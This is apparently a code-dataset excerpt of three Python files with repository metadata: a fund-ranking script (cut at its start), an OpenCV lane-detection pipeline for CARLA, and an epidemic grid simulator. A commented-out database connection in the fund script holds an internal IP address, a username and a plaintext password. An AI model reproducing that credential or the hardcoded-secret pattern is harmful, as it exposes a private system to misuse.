yinhe_type.loc[yinhe_type.yt_l2_name =='QDII股票基金', 'yt_fund_id'].unique() return dict_PoolCode # 四种基金池: A股, 美股, 港股, 债券 def MonthRank_Rolling(): df_Risk10 = Risk10() ra_fund_nav = Fund_nav() dict_PoolCode = PoolCode() # 月收益比较 df_CompareMonth = df_Risk10[['PO.OnlineAShare', 'PO.OnlineMShare', 'PO.OnlineHShare', 'PO.OnlineBond']].copy() df_CompareMonth.rename(columns={'PO.OnlineAShare': 'a股基金池', 'PO.OnlineMShare': '美股基金池', 'PO.OnlineHShare': '港股基金池', 'PO.OnlineBond': '债券基金池'}, inplace=True) df_MonthRank = pd.DataFrame() frequency = 4 # one month = four week for i_pool in df_CompareMonth.columns: df_FundNav_t = ra_fund_nav.reindex(dict_PoolCode[i_pool], axis=1).copy() df_FundNav_t = pd.merge(df_FundNav_t, df_CompareMonth[[i_pool]], how='inner', left_index=True, right_index=True).reindex(trade_weeks).sort_index() for last_trade_date, trade_date in zip(df_FundNav_t.index[:-frequency], df_FundNav_t.index[frequency:]): ser_FundReturn_t = df_FundNav_t.loc[[last_trade_date, trade_date]].pct_change().iloc[-1].dropna() ser_FundRank_t = ser_FundReturn_t.rank(ascending=False) t = ser_FundRank_t[i_pool] / len(ser_FundRank_t) if t < 0.5: df_MonthRank.at[trade_date, i_pool] = 1 else: df_MonthRank.at[trade_date, i_pool] = 0 df_MonthRank_Rolling = df_MonthRank.rolling(52).apply(lambda x: np.sum(x)/52, 'raw=True') return df_MonthRank_Rolling # 货币组合 def WeekRank_Rolling(): df_CashPortfolio = CashPortfolio() ra_fund_nav = Fund_nav() dict_PoolCode = PoolCode() # 周收益比较 # df_CompareWeek = pd.merge(df_Risk10[['PO.OnlineCash']], df_CashPortfolio, how='inner', left_index=True, right_index=True) # df_CompareWeek = df_CompareWeek.rename(columns={'PO.OnlineCash': '货币基金池', 'ra_nav': '货币组合'}).reindex(trade_weeks) df_CompareWeek = df_CashPortfolio.rename(columns={'ra_nav': '货币组合'}).reindex(trade_weeks) df_WeekRank = pd.DataFrame() df_FundNav_t = ra_fund_nav.reindex(dict_PoolCode['货币组合'], axis=1).copy() df_FundNav_t = pd.merge(df_FundNav_t, df_CompareWeek, how='inner', left_index=True, right_index=True).dropna(subset=['货币组合']).sort_index() frequency = 1 for last_trade_date, trade_date in zip(df_FundNav_t.index[:-frequency], df_FundNav_t.index[frequency:]): ser_FundReturn_t = df_FundNav_t.loc[[last_trade_date, trade_date]].pct_change().iloc[-1].dropna() ser_FundRank_t = ser_FundReturn_t.rank(ascending=False) # t1 = ser_FundRank_t['货币基金池'] / len(ser_FundRank_t) t2 = ser_FundRank_t['货币组合'] / len(ser_FundRank_t) # if t1 < 0.1: # df_WeekRank.at[trade_date, '货币基金池'] = 1 # else: # df_WeekRank.at[trade_date, '货币基金池'] = 0 if t2 < 0.2: df_WeekRank.at[trade_date, '货币组合'] = 1 else: df_WeekRank.at[trade_date, '货币组合'] = 0 df_WeekRank_Rolling = df_WeekRank.loc['2019-01-01':].rolling(52, min_periods=10).apply(lambda x: np.sum(x)/52, 'raw=True') # print('df_WeekRank 2019-03-03 MEAN: %f' % df_WeekRank.loc['2019-03-03':].mean()) return df_WeekRank_Rolling # 稳健组合 def SteadyRank_Rolling(): bank_nav = Bank_nav() df_Steady = Steady() # 2019-3-3开始 # 稳健组合 bank_nav_t = bank_nav.append(bank_nav.reindex(trade_weeks)).sort_index().fillna(method='ffill').reindex(trade_weeks) / 100 df_SteadyReturn = df_Steady.reindex(trade_weeks).rolling(5).apply(lambda x: np.exp((np.log(x[4]) - np.log(x[0]))*12) - 1, 'raw=True') df_CompareSteady = pd.merge(df_SteadyReturn, bank_nav_t[['mean']], how='inner', left_index=True, right_index=True).sort_index().rename(columns={'ra_nav': '稳健组合', 'mean': '银行'}) df_CompareSteady['win'] = df_CompareSteady['稳健组合'] - df_CompareSteady['银行'] df_CompareSteady.loc[df_CompareSteady.win < 0, 'win'] = 0.0 df_CompareSteady.loc[df_CompareSteady.win > 0, 'win'] = 1.0 df_SteadyRank_Rolling = df_CompareSteady[['win']].rolling(window=52, min_periods=4*3).mean() df_SteadyRank_Rolling.rename(columns={'win': '稳健组合'}, inplace=True) return df_SteadyRank_Rolling # 智能组合 def Month_3_Rank_Rolling(): dict_PoolCode = PoolCode() sql_t = 'select on_date, on_nav from on_online_nav where on_type=8 and on_online_id="800000"' df_Risk10 = pd.read_sql(sql=sql_t, con=engine_asset, index_col=['on_date'], parse_dates=['on_date']).rename(columns={'on_nav': 'lcmf_risk10'}) df_Risk10.at[pd.Timestamp(2019, 7, 22), 'lcmf_risk10'] = 2.0755 df_Risk10.at[pd.Timestamp(2019, 7, 23), 'lcmf_risk10'] = 2.0751 df_Risk10.at[pd.Timestamp(2019, 7, 24), 'lcmf_risk10'] = 2.0851 df_Risk10.at[pd.Timestamp(2019, 7, 25), 'lcmf_risk10'] = 2.0918 df_Risk10.at[pd.Timestamp(2019, 7, 26), 'lcmf_risk10'] = 2.0926 df_Risk10.at[pd.Timestamp(2019, 7, 29), 'lcmf_risk10'] = 2.0901 df_Risk10.at[pd.Timestamp(2019, 7, 30), 'lcmf_risk10'] = 2.0940 df_Risk10.at[pd.Timestamp(2019, 7, 31), 'lcmf_risk10'] = 2.0869 df_Risk10.at[pd.Timestamp(2019, 8, 1), 'lcmf_risk10'] = 2.0722 df_Risk10.at[pd.Timestamp(2019, 8, 2), 'lcmf_risk10'] = 2.0718 df_Risk10.at[pd.Timestamp(2019, 8, 5), 'lcmf_risk10'] = 2.0663 df_Risk10.at[pd.Timestamp(2019, 8, 6), 'lcmf_risk10'] = 2.0581 df_Risk10.at[pd.Timestamp(2019, 8, 7), 'lcmf_risk10'] = 2.0649 df_Risk10.at[pd.Timestamp(2019, 8, 8), 'lcmf_risk10'] = 2.0821 df_Risk10.at[pd.Timestamp(2019, 8, 9), 'lcmf_risk10'] = 2.0735 df_Risk10.at[pd.Timestamp(2019, 8, 15), 'lcmf_risk10'] = 2.0893 df_Risk10.at[pd.Timestamp(2019, 8, 16), 'lcmf_risk10'] = 2.0981 df_Risk10.at[pd.Timestamp(2019, 8, 22), 'lcmf_risk10'] = 2.1221 sql_t = 'select ra_fund_id, ra_date, ra_nav_adjusted from ra_fund_nav' ra_fund_nav = pd.read_sql(sql=sql_t, con=engine_mofang, parse_dates=['ra_date']) ra_fund_nav.ra_fund_id = ra_fund_nav.ra_fund_id.astype(str) ra_fund_nav = ra_fund_nav.drop_duplicates(subset=['ra_date', 'ra_fund_id']).set_index(['ra_date', 'ra_fund_id']).unstack()['ra_nav_adjusted'].sort_index() sql_t = 'select * from yinhe_type' yinhe_type = pd.read_sql(sql=sql_t, con=engine_mofang) yinhe_type.yt_fund_id = yinhe_type.yt_fund_id.astype(str) sql_t = 'select * from trade_dates' df_t = pd.read_sql(sql=sql_t,con=engine_mofang, parse_dates=['td_date'], index_col=['td_date']) # conn = pymysql.connect(host='192.168.88.12', user='public', passwd='h76zyeTfVqAehr5J', database='wind', charset='utf8') # sql_t = 'select trade_days from asharecalendar where s_info_exchmarket = "SSE"' # df_TradeDays = pd.read_sql(sql=sql_t, con=conn, parse_dates=['trade_days']).sort_values(by='trade_days') # df_TradeDays = df_TradeDays.loc[(df_TradeDays.trade_days >= begin_date) & (df_TradeDays.trade_days <= end_date)] # trade_days = pd.Index(df_TradeDays.trade_days) # conn.close() dict_PoolCode = dict() df_ttt = yinhe_type.loc[yinhe_type.yt_l1_name.isin(['混合基金'])].copy() codes_t = list(yinhe_type.loc[yinhe_type.yt_l1_name.isin(['股票基金']), 'yt_fund_id'].unique()) + list(df_ttt.loc[df_ttt.yt_l2_name.isin(['偏股型基金', '股债平衡型基金']), 'yt_fund_id'].unique()) dict_PoolCode['智能组合'] = set(codes_t) yinhe_type_t = yinhe_type.loc[yinhe_type.yt_fund_id.isin(codes_t)].copy() # lcmf df_Compare3Month = df_Risk10[['lcmf_risk10']].rename(columns={'lcmf_risk10': '智能组合'}).reindex(trade_weeks) df_3MonthRank = pd.DataFrame() df_FundNav_t = ra_fund_nav.reindex(dict_PoolCode['智能组合'], axis=1).reindex(trade_weeks).copy() df_FundNav_t = pd.merge(df_FundNav_t, df_Compare3Month, how='inner', left_index=True, right_index=True).dropna(subset=['智能组合']).sort_index() frequency = 12 for last_trade_date, trade_date in zip(df_FundNav_t.index[:-frequency], df_FundNav_t.index[frequency:]): ser_FundReturn_t = df_FundNav_t.loc[[last_trade_date, trade_date]].pct_change().iloc[-1].dropna() ser_FundRank_t = ser_FundReturn_t.rank(ascending=False) t = ser_FundRank_t['智能组合'] / len(ser_FundRank_t) if t < 0.5: df_3MonthRank.at[trade_date, '智能组合'] = 1 else: df_3MonthRank.at[trade_date, '智能组合'] = 0 df_3MonthRank_Rolling = df_3MonthRank.rolling(52).mean() return df_3MonthRank_Rolling def update(): currency = criteria_ct.WeekRank_Rolling() steady = criteria_ct.SteadyRank_Rolling() intelligent = criteria_ct.Month_3_Rank_Rolling() pool = criteria_ct.MonthRank_Rolling() df = pd.concat([currency, steady, intelligent, pool], axis=1, join='outer') engine = database.connection('asset') Session = sessionmaker(bind=engine) session = Session() for i in range(len(df)): ins = asset_allocate.criteria( date = df.index[i], cash_portfolio = df.iloc[i,0], steady_portfolio = df.iloc[i,1], intelligent_portfolio = df.iloc[i,2], a_stock_pool = df.iloc[i,3], US_stock_pool = df.iloc[i,4], HK_stock_pool = df.iloc[i,5], bond_pool = df.iloc[i,6] ) session.add(ins) session.commit() print("成功插入了 %d 条数据;" % (i+1)) return
[ "tong.cheng.8819@outlook.com" ]
tong.cheng.8819@outlook.com
a473b352d7a7297d8448f74401a9c4d56ac3d8d6
631704126a545331b7d1fb59a7c89ec3919361a4
/PythonAPI/test/Lane_detection/detect_lines2.py
ef45f18dfd8585594f9dbcd45c5471eb0108fe0b
[ "MIT" ]
permissive
Maveric4/Carla
6548e7acfee86c8b54643964be4d16468d79fb09
c7eb9df5fb5a784bfbadb2f0544c1cf062ca6bb5
refs/heads/master
2020-11-27T12:35:40.618088
2019-12-23T16:47:45
2019-12-23T16:47:45
229,442,345
0
0
null
null
null
null
UTF-8
Python
false
false
9,283
py
#importing some useful packages import matplotlib.pyplot as plt import matplotlib.image as mpimg import numpy as np import cv2 import glob import math def grayscale(img): """Applies the Grayscale transform This will return an image with only one color channel but NOTE: to see the returned image as grayscale you should call plt.imshow(gray, cmap='gray')""" return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) def canny(img, low_threshold, high_threshold): """Applies the Canny transform""" return cv2.Canny(img, low_threshold, high_threshold) def gaussian_blur(img, kernel_size): """Applies a Gaussian Noise kernel""" return cv2.GaussianBlur(img, (kernel_size, kernel_size), 0) def region_of_interest(img, vertices): """ Applies an image mask. Only keeps the region of the image defined by the polygon formed from `vertices`. The rest of the image is set to black. """ # defining a blank mask to start with mask = np.zeros_like(img) # defining a 3 channel or 1 channel color to fill the mask with depending on the input image if len(img.shape) > 2: channel_count = img.shape[2] # i.e. 3 or 4 depending on your image ignore_mask_color = (255,) * channel_count else: ignore_mask_color = 255 # filling pixels inside the polygon defined by "vertices" with the fill color cv2.fillPoly(mask, vertices, ignore_mask_color) # returning the image only where mask pixels are nonzero masked_image = cv2.bitwise_and(img, mask) return masked_image def draw_lines(img, lines, color=(255, 0, 0), thickness=7): """ NOTE: this is the function you might want to use as a starting point once you want to average/extrapolate the line segments you detect to map out the full extent of the lane (going from the result shown in raw-lines-example.mp4 to that shown in P1_example.mp4). Think about things like separating line segments by their slope ((y2-y1)/(x2-x1)) to decide which segments are part of the left line vs. the right line. Then, you can average the position of each of the lines and extrapolate to the top and bottom of the lane. This function draws `lines` with `color` and `thickness`. Lines are drawn on the image inplace (mutates the image). If you want to make the lines semi-transparent, think about combining this function with the weighted_img() function below """ for line in lines: for x1, y1, x2, y2 in line: cv2.line(img, (x1, y1), (x2, y2), color, thickness) def hough_lines(img, rho, theta, threshold, min_line_len, max_line_gap): """ `img` should be the output of a Canny transform. Returns an image with hough lines drawn. """ lines = cv2.HoughLinesP(img, rho, theta, threshold, np.array([]), minLineLength=min_line_len, maxLineGap=max_line_gap) line_img = np.zeros(img.shape, dtype=np.uint8) draw_lines(line_img, lines) return line_img # Python 3 has support for cool math symbols. def weighted_img(img, initial_img, a=0.8, b=1., c=0.): """ `img` is the output of the hough_lines(), An image with lines drawn on it. Should be a blank image (all black) with lines drawn on it. `initial_img` should be the image before any processing. The result image is computed as follows: initial_img * α + img * β + λ NOTE: initial_img and img must be the same shape! """ return cv2.addWeighted(initial_img, a, img, b, c) def plt_img(image, fig, axis, cmap=None): """ Helper for plotting images/frames """ a = fig.add_subplot(1, 3, axis) imgplot = plt.imshow(image, cmap=cmap) def extend_point(x1, y1, x2, y2, length): """ Takes line endpoints and extroplates new endpoint by a specfic length""" line_len = np.sqrt((x1 - x2) ** 2 + (y1 - y2) ** 2) x = x2 + (x2 - x1) / line_len * length y = y2 + (y2 - y1) / line_len * length return x, y def reject_outliers(data, cutoff, thresh=0.08): """Reduces jitter by rejecting lines based on a hard cutoff range and outlier slope """ data = np.array(data) marsz = data[:, 4] data = data[(data[:, 4] >= cutoff[0]) & (data[:, 4] <= cutoff[1])] m = np.mean(data[:, 4], axis=0) # return data return data[(data[:, 4] <= m + thresh) & (data[:, 4] >= m - thresh)] def merge_prev(line, prev): """ Extra Challenge: Reduces jitter and missed lines by averaging previous frame line with current frame line. """ if prev != None: line = np.concatenate((line[0], prev[0])) x1, y1, x2, y2 = np.mean(line, axis=0) line = np.array([[[x1, y1, x2, y2]]], dtype=np.int32) return line else: return line def separate_lines(lines): """ Takes an array of hough lines and separates them by +/- slope. The y-axis is inverted in pyplot, so the calculated positive slopes will be right lane lines and negative slopes will be left lanes. """ right = [] left = [] for x1, y1, x2, y2 in lines[:, 0]: m = (float(y2) - y1) / (x2 - x1) if m >= 0: right.append([x1, y1, x2, y2, m]) else: left.append([x1, y1, x2, y2, m]) return right, left def merge_lines(lines): """Merges all Hough lines by the mean of each endpoint, then extends them off across the image""" lines = np.array(lines)[:, :4] ## Drop last column (slope) x1, y1, x2, y2 = np.mean(lines, axis=0) x1e, y1e = extend_point(x1, y1, x2, y2, -1000) # bottom point x2e, y2e = extend_point(x1, y1, x2, y2, 1000) # top point line = np.array([[x1e, y1e, x2e, y2e]]) return np.array([line], dtype=np.int32) def find_intersection(lines): import shapely from shapely.geometry import LineString, Point for x1, y1, x2, y2 in lines[0]: A = (x1, y1) B = (x2, y2) line1 = LineString([A, B]) for x1, y1, x2, y2 in lines[1]: A = (x1, y1) B = (x2, y2) line2 = LineString([A, B]) int_pt = line1.intersection(line2) point_of_intersection = int(int_pt.x), int(int_pt.y) print(point_of_intersection) return(point_of_intersection) def pipeline(image, preview=False, wind_name="empty"): ### Params for region of interest # bot_left = [80, 540] # bot_right = [980, 540] # apex_right = [510, 315] # apex_left = [450, 315] width = image.shape[1] height = image.shape[0] bot_left = [0 + int(width*0.05), height] bot_right = [width, height] apex_right = [width - int(width*0.25), 0 + int(height*0.40)] apex_left = [0 + int(width*0.25), 0 + int(height*0.40)] v = [np.array([bot_left, bot_right, apex_right, apex_left], dtype=np.int32)] ### Run canny edge dection and mask region of interest gray = grayscale(image) blur = gaussian_blur(gray, 7) edge = canny(blur, 50, 125) mask = region_of_interest(edge, v) ### Run Hough Lines and seperate by +/- slope # lines = cv2.HoughLinesP(mask, 0.8, np.pi / 180, 25, np.array([]), minLineLength=50, maxLineGap=200) lines = cv2.HoughLinesP(mask, 1, np.pi / 180, 5, np.array([]), minLineLength=30, maxLineGap=400) right_lines, left_lines = separate_lines(lines) right = reject_outliers(right_lines, cutoff=(0.45, 0.75)) right = merge_lines(right) left = reject_outliers(left_lines, cutoff=(-0.95, -0.45)) left = merge_lines(left) lines = np.concatenate((right, left)) ### Draw lines and return final image line_img = np.copy((image) * 0) draw_lines(line_img, lines, thickness=10) line_img = region_of_interest(line_img, v) final = weighted_img(line_img, image) # Circles on vertices corners cv2.circle(final, tuple(apex_left), 3, (255, 255, 0)) cv2.circle(final, tuple(apex_right), 3, (255, 255, 0)) cv2.circle(final, tuple(bot_left), 3, (255, 255, 0)) cv2.circle(final, tuple(bot_right), 3, (255, 255, 0)) # # Circle of intersection inter_point = find_intersection(lines) control_decision = [(inter_point[0] - width/2) / width, 1, 0] print(control_decision) cv2.circle(final, inter_point, 5, (255, 255, 255)) ### Optional previwing of pipeline if (preview): cv2.destroyAllWindows() cv2.imshow(wind_name + str(" mask"), mask) cv2.imshow(wind_name + str(" edge"), edge) cv2.imshow(wind_name, final) # cv2.imshow(wind_name + str(" blur"), blur) cv2.waitKey(0) return final # for it, img_path in enumerate(glob.glob("./imgs_lane_detection2/*.jpg")): # image = mpimg.imread(img_path) # print('This image is:', type(image), 'with dimesions:', image.shape) # ls = pipeline(image, preview=True) for it, img_path in enumerate(glob.glob("./imgs_lane_detection/*.jpg")): image = mpimg.imread(img_path) image = cv2.resize(image, (960, 540)) # cv2.imshow("test", image) # cv2.waitKey(0) # printing out some stats and plotting # print('This image is:', type(image), 'with dimesions:', image.shape) try: ls = pipeline(image, preview=True, wind_name=img_path) except Exception: pass # if it > len(glob.glob("./imgs_lane_detection/*.jpg"))-2: # cv2.waitKey(0)
[ "maveriok@student.agh.edu.pl" ]
maveriok@student.agh.edu.pl
02cf011d3d9b1895c848c8f25e71c77dc301fdcf
5182897b2f107f4fd919af59c6762d66c9be5f1d
/.history/src/Simulador_20200708161311.py
cbf32fa7cf0f64a93631d4928bd7f10dc6a1caf5
[ "MIT" ]
permissive
eduardodut/Trabalho_final_estatistica_cd
422b7e702f96291f522bcc68d2e961d80d328c14
fbedbbea6bdd7a79e1d62030cde0fab4e93fc338
refs/heads/master
2022-11-23T03:14:05.493054
2020-07-16T23:49:26
2020-07-16T23:49:26
277,867,096
0
0
null
null
null
null
UTF-8
Python
false
false
12,983
py
import pandas as pd import numpy as np from Matriz_esferica import Matriz_esferica from Individuo import Individuo, Fabrica_individuo import random from itertools import permutations import matplotlib.pyplot as plt from matplotlib.colors import ListedColormap class Simulador(): def __init__( self, tamanho_matriz, #numero de linhas e colunas da matriz esférica percentual_inicial_tipo1, #percentual inicial da população que será infectada tipo 1 percentual_inicial_tipo2, #percentual inicial da população que será infectada tipo 2 chance_infeccao, #chance que um infectado tipo 2 tem de infectar um indivíduo saudável chance_infeccao_tipo2, #chance de um indivíduo infectado se tornar contagioso chance_morte, #chance de um indivíduo tipo 2 morrer ao fim de uma atualização atualizacoes_cura): #número de atualizações necessárias para a cura de um indivíduo tipo 1 ou 2 self.num_atualizacoes = 0 self.individuos_infectados_tipo_2 = [] self.individuos_infectados_tipo_1 = [] self.individuos_curados = [] self.individuos_mortos = [] self.lista_matrizes_posicionamento = [] self.matriz_status = np.zeros([tamanho_matriz,tamanho_matriz], dtype= int) self.fabrica_individuo = Fabrica_individuo( chance_infeccao, chance_infeccao_tipo2, chance_morte, atualizacoes_cura) self.matriz_individuos = pd.DataFrame(columns=range(tamanho_matriz), index=range(tamanho_matriz)) self.matriz_individuos.loc[:] = self.fabrica_individuo.criar_individuo(Individuo.SADIO,(0,0)) self.matriz_status[:] = Individuo.SADIO #objeto que é responsável por validar a movimentação no grid n x n self.matriz_esferica = Matriz_esferica(tamanho_matriz) self.populacao_inicial = int(tamanho_matriz**2) self.num_inicial_tipo2 = int(self.populacao_inicial * percentual_inicial_tipo2) self.num_inicial_tipo1 = int(self.populacao_inicial * percentual_inicial_tipo1) self.num_inicial_sadios = self.populacao_inicial - (self.num_inicial_tipo2 + self.num_inicial_tipo1) self.popular(tamanho_matriz) dict = { 'num_sadios':self.num_inicial_sadios, 'num_infect_t1':self.num_inicial_tipo1, 'num_infect_t2':self.num_inicial_tipo2, 'num_curados':0, 'num_mortos':0} #dataframe que guardará os resultados de cada atualização self.dataframe = pd.DataFrame(index = [0]) self.salvar_posicionamento() def salvar_posicionamento(self): self.lista_matrizes_posicionamento.append(self.matriz_status) def verificar_infeccao(self, lista_infectantes): lista_novos_infectados_tipo1 = [] lista_novos_infectados_tipo2 = [] #itera sobre sobre a lista de individuos que infectam e cada um realiza a tividade de infectar for indice in lista_infectantes: #busca os vizinhos do infectante atual lista_vizinhos = self.matriz_esferica.get_vizinhos(indice[0], indice[1]) #Para cada vizinho, se ele for sadio, é gerado um número aleatório para verificar se foi infectado for vizinho in lista_vizinhos: x = vizinho[0] y = vizinho[1] #verificação de SADIO if self.matriz_status[x,y] == Individuo.SADIO: #verificação do novo status novo_status = self.matriz_individuos.loc[indice[0], indice[1]].infectar() #se for um infectado tipo 1 if novo_status == Individuo.INFECTADO_TIPO_1: #adiciona na lista de novos tipo 1 lista_novos_infectados_tipo1.append((x,y)) #modifica o status do objeto recém infectado self.matriz_individuos.loc[x,y].status = Individuo.INFECTADO_TIPO_1 #modifica o status na matriz de status self.matriz_status[x,y] = Individuo.INFECTADO_TIPO_1 if novo_status == Individuo.INFECTADO_TIPO_2: #adiciona na lista de novos tipo 2 lista_novos_infectados_tipo2.append((x,y)) #modifica o status do objeto recém infectado self.matriz_individuos.loc[x,y].status = Individuo.INFECTADO_TIPO_2 #modifica o status na matriz de status self.matriz_status[x,y] = Individuo.INFECTADO_TIPO_2 return lista_novos_infectados_tipo1, lista_novos_infectados_tipo2 def verificar_morte(self, lista_infectantes_tipo2): lista_mortos = [] for indice in lista_infectantes_tipo2: novo_status = self.matriz_individuos.loc[indice[0], indice[1]].checagem_morte() if novo_status == Individuo.MORTO: lista_mortos.append(indice) self.matriz_status[indice[0], indice[1]] = Individuo.MORTO return lista_mortos def verificar_cura(self, lista_infectantes): lista_curados = [] for indice in lista_infectantes: novo_status = self.matriz_individuos.loc[indice[0], indice[1]].checagem_cura() if novo_status == Individuo.CURADO: lista_curados.append(indice) self.matriz_status[indice[0], indice[1]] = Individuo.CURADO return lista_curados def iterar(self): #Verifica os novos infectados a partir dos atuais infectantes na matriz lista_novos_infectados_tipo1_1, lista_novos_infectados_tipo2_1 = self.verificar_infeccao(self.individuos_infectados_tipo_1) lista_novos_infectados_tipo1_2, lista_novos_infectados_tipo2_2 = self.verificar_infeccao(self.individuos_infectados_tipo_2) #Verifica morte dos tipo 2 lista_mortos = self.verificar_morte(self.individuos_infectados_tipo_2) #retirar os mortos da atualização da lista de infectados tipo 2 self.individuos_infectados_tipo_2 = [i for i in self.individuos_infectados_tipo_2 if i not in lista_mortos] #adiciona os novos mortos na lista geral de mortos self.individuos_mortos = self.individuos_mortos + lista_mortos #Verificar cura lista_curados_tipo1 = self.verificar_cura(self.individuos_infectados_tipo_1) lista_curados_tipo2 = self.verificar_cura(self.individuos_infectados_tipo_2) #retirar os curados das lista de infectados tipo 1 e 2 self.individuos_infectados_tipo_2 = [i for i in self.individuos_infectados_tipo_2 if i not in lista_curados_tipo2] self.individuos_infectados_tipo_1 = [i for i in self.individuos_infectados_tipo_1 if i not in lista_curados_tipo1] #adiciona os novos curados na lista geral de curados self.individuos_curados = self.individuos_curados + lista_curados_tipo1 + lista_curados_tipo2 # self. #movimentar infectantes: for i in range(len(self.individuos_infectados_tipo_1)): self.individuos_infectados_tipo_1[i] = self.mover_infectante(self.individuos_infectados_tipo_1[i]) for i in range(len(self.individuos_infectados_tipo_2)): self.individuos_infectados_tipo_2[i] = self.mover_infectante(self.individuos_infectados_tipo_2[i]) #adicionar os novos infectados tipo 1 e 2 para as respectivas listas self.individuos_infectados_tipo_2 = self.individuos_infectados_tipo_2 + lista_novos_infectados_tipo2_1 + lista_novos_infectados_tipo2_2 self.individuos_infectados_tipo_1 = self.individuos_infectados_tipo_1 + lista_novos_infectados_tipo1_1 + lista_novos_infectados_tipo1_2 #salva os resultados da atualização no dataframe: num_mortos = len(self.individuos_mortos) num_curados = len(self.individuos_curados) num_tipo_1 = len(self.individuos_infectados_tipo_1) num_tipo_2 = len(self.individuos_infectados_tipo_2) dict = { 'num_sadios':self.populacao_inicial - num_mortos - num_curados - num_tipo_1 - num_tipo_2 , 'num_infect_t1':num_tipo_1, 'num_infect_t2':num_tipo_2, 'num_curados':num_curados, 'num_mortos':num_mortos} self.dataframe = self.dataframe.append(dict, ignore_index=True) #salva a nova matriz de status self.salvar_posicionamento() #adiciona 1 ao número de atualizações realizadas na matriz self.num_atualizacoes +=1 def popular(self, tamanho_matriz): #lista de possíveis combinações de índices da matriz de dados permutacoes = permutations(list(range(tamanho_matriz)),2) #conversão para lista de tuplas(x,y) lista_indices = list(permutacoes) #embaralhamento dos índices random.shuffle(lista_indices) #cria o primeiro tipo1: indice = lista_indices.pop() ind_x = indice[0] ind_y = indice[1] self.matriz_individuos.loc[ind_x,ind_y] = self.fabrica_individuo.criar_individuo(Individuo.INFECTADO_TIPO_1,(ind_x,ind_y)) #self.matriz_individuos[ind_x, ind_y] = Individuo.INFECTADO_TIPO_1 self.individuos_infectados_tipo_1.append((ind_x,ind_y)) self.matriz_status[ind_x,ind_y] = Individuo.INFECTADO_TIPO_1 #cria o restante dos tipos 1 for i in range(1,self.num_inicial_tipo1): indice = lista_indices.pop() ind_x = indice[0] ind_y = indice[1] self.matriz_individuos.loc[ind_x,ind_y] = self.fabrica_individuo.criar_individuo(Individuo.INFECTADO_TIPO_1,(ind_x,ind_y)) #self.matriz_individuos[ind_x, ind_y] = Individuo.INFECTADO_TIPO_1 self.individuos_infectados_tipo_1.append((ind_x,ind_y)) self.matriz_status[ind_x,ind_y] = Individuo.INFECTADO_TIPO_1 #cria o restante dos tipo 2: for indice in range(self.num_inicial_tipo2): indice = lista_indices.pop() ind_x = indice[0] ind_y = indice[1] self.matriz_individuos.loc[ind_x,ind_y] = self.fabrica_individuo.criar_individuo(Individuo.INFECTADO_TIPO_2,(ind_x,ind_y)) #self.matriz_individuos[ind_x, ind_y] = Individuo.INFECTADO_TIPO_1 self.individuos_infectados_tipo_2.append((ind_x,ind_y)) self.matriz_status[ind_x,ind_y] = Individuo.INFECTADO_TIPO_2 def mover_infectante(self, indice): pos_x, pos_y = indice[0], indice[1] rng_posicao = random.random() if rng_posicao <=0.25: #move pra cima pos_x -= 1 elif rng_posicao <=0.5: #move pra baixo pos_x += 1 elif rng_posicao <=0.75: #move para esquerda pos_y -= 1 else: #move para direita pos_y += 1 novo_x, novo_y = self.matriz_esferica.valida_ponto_matriz(pos_x, pos_y) #troca os valores no dataframe aux = self.matriz_individuos.loc[novo_x, novo_y] self.matriz_individuos.loc[novo_x, novo_y] = self.matriz_individuos.loc[pos_x, pos_y] self.matriz_individuos.loc[pos_x, pos_y] = aux #troca os valores na matriz de status aux = self.matriz_status[novo_x, novo_y] self.matriz_status[novo_x, novo_y] = self.matriz_status[pos_x, pos_y] self.matriz_status[pos_x, pos_y] = aux return (novo_x, novo_y) chance_infeccao = 0.3 chance_infeccao_tipo2 = 0.2 chance_morte = 0.2 atualizacoes_cura = 10 percentual_inicial_tipo1 = 0. percentual_inicial_tipo2 = 0. sim = Simulador( 10, percentual_inicial_tipo1, percentual_inicial_tipo2, chance_infeccao, chance_infeccao_tipo2, chance_morte,atualizacoes_cura) #print(sim.lista_matrizes_posicionamento[0]) #print(sim.individuos_infectados_tipo_2) #print(sim.individuos_infectados_tipo_1) cmap = ListedColormap(['w', 'y', 'yellow', 'red']) for i in range(10): plt.matshow(sim.lista_matrizes_posicionamento[1], cmap = cmap) sim.iterar() plt.show() # plt.matshow(sim.lista_matrizes_posicionamento[1], cmap = cmap) # sim.iterar() # plt.matshow(sim.lista_matrizes_posicionamento[2], cmap = cmap) # sim.iterar() # plt.matshow(sim.lista_matrizes_posicionamento[3], cmap = cmap)
[ "eduardo_dut@edu.unifor.br" ]
eduardo_dut@edu.unifor.br